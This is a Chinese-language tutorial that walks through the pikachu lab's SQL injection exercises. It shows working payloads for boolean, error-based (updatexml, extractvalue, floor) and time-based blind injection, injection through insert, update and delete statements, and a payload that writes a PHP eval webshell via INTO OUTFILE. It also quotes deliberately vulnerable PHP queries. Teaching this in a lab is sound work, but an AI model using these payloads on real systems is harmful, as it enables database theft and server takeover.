SQL注入
和XSS一样的,将我们输入的数据当作代码执行,只不过这一次是数据库语句
要做的也是一样的,闭合原本的语句,构造新语句
数据库的基本查询语句也很简单,以pikachu的user表为例
select * from users where id=1;
查询/返回(所有信息)从(users表)当条件满足(id=1)
相信学习过php商城那篇文章的小伙伴已经初步了解了sql的增删改查,不多说
开胃小菜
这是通过POST表单提交id参数进行的数据库查询(当然因为是SQL注入的练习所以不考虑匹配文件名那种)
注入分两步
①:猜测数据库语句
先猜测一下后端怎么查询,动态返回了名字-kobe,邮箱-kobe@pikachu.com,所以应该是根据id查询了这两个字段
select username,uemail from users where userid=xx;
看一下数据库
修改一下
select username,email from member where id=3;
②:闭合&构造SQL语句
我们的输入点是id=3这里的id参数,暂时不用闭合,我们插入一个恒真语句,or语句只要有一个满足就可以,所以会返回所有结果
-- 输入 3 or 1=1
select username,email from member where id=3 or 1=1;
完美,符合语法逻辑,没有错误
就是这么简单,一个输入点就是一个接口,我们只是利用这个接口实现一些它本来就能够提供的功能和操作,是使用而不是破坏
POST和GET这两种提交方式也没有太大区别,一个在第一行URL里,一个在最下面
梅开二度
在框里输入名字,name参数,随便输入返回不存在
①:猜测数据库语句
什么都没返回,也不知道查什么,不过没影响,姑且猜一猜,已知是通过用户名查询,一般在用户信息的表
select * from users where username=xx;
②:闭合&构造SQL语句
因为这里我们的输入是pika,是字符串,字符串要用引号包起来我想是常识
select * from users where username='xx ';
select * from users where username='xx' or 1=1;#';
闭合了xx的引号,开始新的语句,分号结束语句,井号注释掉后面多余的引号和分号
在burp测试时,要注意将特殊符号进行url编码,浏览器会自动编码,burp不会
这里有一个问题,为什么不用分号结束语句也会正常执行呢?(不配图了)而在命令行执行是不行的,必须要分号结束
这是因为在程序文件里,sql语句不需要通过分号来标记语句结束
//php中的sql语句,分号标记php语句结束
$query="select id,email from member where username='$name'";
//python中的sql语句
db = MySQLdb.connect("localhost", "testuser", "test123", "TESTDB", charset='utf8' )
新的符号
搜索框
①:猜测数据库语句
之前我们写过搜索框,使用的是like语句模糊查询
翻翻代码,简化一下
if($field!=''){
$sql = "SELECT * FROM goods WHERE goodsname like '%$field%' OR xinghao like '%$field%'";
$result = mysql_query($sql) or die('SQL语句有误:'.mysql_error());
}
猜测代码为
select * from member where username like '%xx%';
测试
②:闭合&构造SQL语句
经过前面的练习这已经很简单了
select * from member where username like '%xx%' or 1=1#'%'
因为是url的参数,不要忘了编码
so easy!
xx?
什么东西?不管,先插入个单引号
报错了,这很明显了,语句里有括号
①:猜测数据库语句
select * from member where id=(select '2');
和这个查询完全无关,但是包含了括号,我想应该是可以行的通的,2就是我们接收参数拼接的位置,用户名是字符串,突然想到一个问题,是单引号双引号呢?都可以尝试一下
②:闭合&构造SQL语句
select * from member where id=(select 'xx') or 1=1#');
url编码
哈哈,不过如此嘛!
输出点?匹配!多语句
这是个登录&注册功能点,不巧是之前也写过
注册
$pwd=md5($pwd);
$query="INSERT INTO users(`uemail`,`upassword`,`uname`)VALUES('$email','$pwd','$email')";
验证后把密码进行md5加密,然后把提交的表单数据存到数据库
登录
$query = "SELECT * FROM users WHERE `uemail`='$email' AND `upassword`='$pwd'";
$result = mysql_query($query);
验证后查询是否有匹配的数据
①:猜测数据库语句
两个必填项,剩下不填应该默认为NULL,可以不管
insert into member(username,pw)values('xx','xxx');
②:闭合&构造SQL语句
insert语句怎么注入呢?目前只学习了select查询数据,如果要查询数据的话,正常查询首先需要知道当前表名才能查询,数据库自带一个information_schema数据库,tables表有所有表名,schemata表有所有数据库名
我们在后面一个位置注入,结束前一个语句,插入select语句
insert into member(username,pw)values('xx','xxx');select * from information_schema.schemata#');
究极报错
经过测试,这个mysql的insert语句后面接条件语句有点困难,需要insert select where句式
insert into member select null,1,2,3,4,5,6 from dual where 1=1;
dual是mysql关键字,在不知道表名但又需要表名的情况下占位,插入有个null是自增键,不能指定值,但也不能不写,这里暂时不讨论
等等,我们好像忽略了一个问题,就算查询了没有返回结果啊,回想之前的代码
<a href="http://security/userinfo.php"><?php echo $userinfo['uname']?></a>
<a>欢迎</a>
我们动态查询都是通过php语句echo出来的,而这里没有看到输出的信息在哪
这里需要一个新的知识点,在没有输出点但还返回报错信息的时候,可以利用特定函数得到想要的信息
--updatexml 在执行时,遇到不符合语法的就会报错,然后把第二个参数的查询结果输出,一三参数是blabla...随便填
--concat 是连接参数输出 0x7e是~的16进制编码,随便写什么都ok,只是为了方便看输出
select updatexml('@',concat(0x7e,database(),0x7e),'suibian');
--extractvalue和updatexml一样,都是xpath查询函数,只不过只需要两个参数
select extractvalue('@',concat(0x7e,database(),0x7e));
为什么要用concat拼接?不拼接输出不全,具体原因感兴趣的同学可以自行了解
--floor 先欣赏一下这个令人眼晕的注入句式
'xx' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'
抽丝剥茧
--简化一下
'xx' and (select 2 from (yyy)a);
这里的a是将yyy语句查询的数据命名为结果集a,我们再从a里查数据,select 2当然只会返回和结果行相同的2,我们只需要 floor 报错
--yyy 先看一下这个语句
select count(*) from z group by floor(rand(0)*2);
group by是分组函数,比如将学生数据按班级分类,统计每个班有多少人,需要配合count,sum等函数一起使用
--floor(x) 是返回小于或等于x的最大整数,rand返回0-1伪随机数,参数是随机数种子,种子相同,每次生成的随机数也相同
floor(rand(0)*2)永远返回0
令人头大的是,既然它返回0为什么会报错,它的原理是什么?
首先,这个函数并不是永远返回 0,而是第一位永远返回0
看下面四个语句,只有在随机数种子为0时会报错,这个随机数种子起到什么作用呢?
t1表只有两条数据,我们执行语句并不会报错,会正常返回
查询rand时,会被计算多次,即查询时计算一次,插入时计算一次
floor(rand(0)*2)
的固定序列是011011…
在第三次执行时发现存在值为1的键,则直接count+1,不计算,在第四次执行时查询发现没有为0的主键,想要插入主键,结果插入时再次计算,主键变为1 ,与已有的主键冲突,从而报错
那么随机数种子为其它值呢?随便输出一个
执行顺序
不会造成主键冲突,在之前rand(0)的时候两条数据也不会报错也是因为主键没有冲突
再回到这个语句,在报错时使用concat把主键和结果一起输出,x呢就是类似函数的命名吧,然后调用
'xx' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'
继续构造语句,在第二个参数处注入,我们不插入新的语句,在原有语句拼接就可以了
insert into member(username,pw)values('xx','xxx' and extractvalue(0,concat(0x7e,database()))#');
并没有成功啊,这是因为insert语句前面有n个列,如果后面的插入的值的个数不匹配语句是不成功的,虽然可以不填值但是并不能把后面的语句注释掉
我们用or语句或者and连接
--原语句
insert into member(username,pw,xx,xx,xx,xx)values('xx','xxx','xx','xx','xx','xx');
--新语句
insert into member(username,pw,xx,xx,xx,xx)values('xx','xxx' and extractvalue(0,concat(0x7e,database())) or '','xx','xx','xx','xx');
构造后,第二个参数的位置是'xx' and extractvalue() or ''
,通过逗号分隔参数,所以前后个数还是匹配的
and or都无所谓,只要这个函数能够执行就可以,执行就会报错,我们的目的就达到了,在哪个参数处注入都可以(最后一个可以注释吗?),但是要注意其它的地方是否会有格式检查
当然可以,注意括号的位置
更新信息update语句
①:猜测数据库语句
姓名无法修改,猜测是通过姓名定位并修改行信息
update member set sex='x',phonenum=x,address='dd',email='mm' where username='vince';
它和前面的基础语句很像,不需要括号前后的匹配,所以直接闭合注释就可以了
②:闭合&构造SQL语句
'xx' and extractvalue(0,concat(0x7e,database()))#
删除delete语句,很简单
①:猜测数据库语句
通过id查找并删除数据
delete from member where id=xx;
②:闭合&构造SQL语句
delete from member where id=xx and extractvalue(0,concat(0x7e,database()))#
url编码
还有快捷键
请求头
SQL注入的原理是数据被带入数据库语句执行,我们目前接触了在url中的,在请求体中的,那么请求头也不例外,也会有存在SQL注入的可能
那么哪些数据会和数据库有交集呢?
这个是不是很眼熟呢?小小waf阻挡了多少人前进的脚步
数据被记录,攻击次数过多直接封禁IP,我们的IP就被记录在数据库,它做了xss过滤吗?毕竟是显示在前端的
①:猜测数据库语句
插入数据,应该是insert语句,不太清楚ua和accept和端口是否有记录,还是只是session数组,是否有引号也并不确定
insert into attacker(ip,ua,accept,port)values('xx','yy','zz','pp');
一共两个请求,请求sqli_header.php的请求头会被记录,但是更改IP的请求头,比如常见的Remote-Addr
、X-Forwarded-For
都没有效果
其实Remote_Addr
一般无法伪造,它并不是通过http头的信息获得的,而是服务器直接获取连接机器的IP
②:闭合&构造SQL语句
插入语句就是那个,不多说,只要注意不要随便注释就可以了
yes or no
随便输入一点引号括号,没有报错
正常查询
①:猜测数据库语句
查询语句,返回uid和email
select uid,email from member where username='xx';
②:闭合&构造SQL语句
讲过就略过了,xx' or 1=1#
返回不存在,几种情况,一是语句写错,二是被过滤了,三是纯粹的不返回
换成and 1=1
,会成功返回
and 1=2
,用户不存在,我们可以判断出语句是被执行了的,因为vince是真实存在的用户,所以前面查询语句成功,后面1=2结果为true,两个有一个为false,返回false,上一个1=1为true,两个都为true,正常返回
or 1=2
,我记得or是只要一个为真就返回真,为什么必须两个都为真不能正常返回呢?
翻看一下源码
if($result && mysqli_num_rows($result)==1){}
原来是对结果做了验证,只返回一条结果就输出,否则不输出,在知道用户名的情况下,可以使用and 1=1
、and 1=2
不同的结果判断或or 1=1
、or 1=2
或者任何同效语句,那么不知道用户名呢?
如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。
如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。
and行不通,or 1=1不返回,没办法构造有两种返回结果语句,所以不能用这两个语句判断否存在注入
知道用户名还有另一种方法判断是否存在注入,即用延时语句判断语句是否执行就可以了
xx
xx' and sleep(3)#
xx' and sleep(10)#
正常执行大概是350ms,延时3s,延时10s,对应的时间也会延长,证明后端执行了我们的SQL语句,也是SQL注入的定义,这个也是没有输出点(可以执行floor报错注入),也是通过真假条件判断数据的值
配合if语句,为真则执行 x,为假则执行 y
if(条件语句,x,y)
我们可以通过逐字猜解的方法判断数据,m代表从第m个字符串开始截取,取n个字符
'xx' and if(substr(database(),m,n)='p',sleep(3),null)#
--取数据库的第一个字符
'xx' and if(substr(database(),1,1)='p',sleep(3),null)#
利用
sql注入的利用无非就是数据库的那些操作:增删改查
增:增加个管理员账号…好像没有这么用的,比较常见的就是写个一句话木马,连接
'xx' union select "<?php @eval($_POST['cmd']);?>" into outfile '1.php'#
条件是有写文件的权限,二是写的文件你要能访问到,要不然怎么连接,三是要有执行权限吧,不然写了成html文件也没用额
secure_file_priv='' //默认为null无法写文件
测试一下
也需要列数匹配,在没有返回的时候也要想一下union前后的语句是否匹配
再次执行,报错
但是重新发送显示文件已经存在,说明文件已经被写入了,翻看一下,文件被写到D:\phpstudy_pro\Extensions\MySQL5.7.26\data\pikachu
目录了,所以就是为什么写文件要指定目录
成功写入(这个目录没有人会猜到)
查:就是查数据,比如一些用户的密码,我们拿到,去破解md5,然后登录,也是危险很大的,如果是管理员的账号就更美妙了,找到后台…前面很多读数据的地方
SqlMap
sqlmap是自动化测试sql注入的工具
sqlmap -u "example.com"
由于篇幅有限,工具使用暂不讲解
其它
关于SQL注入,我们执行的操作都是需要一定权限的,如果关键字被过滤,被转义,没有读写权限等等问题导致失败,也是非常常见的,还需要后续深入学习。(所以靶场的宽字节也没写)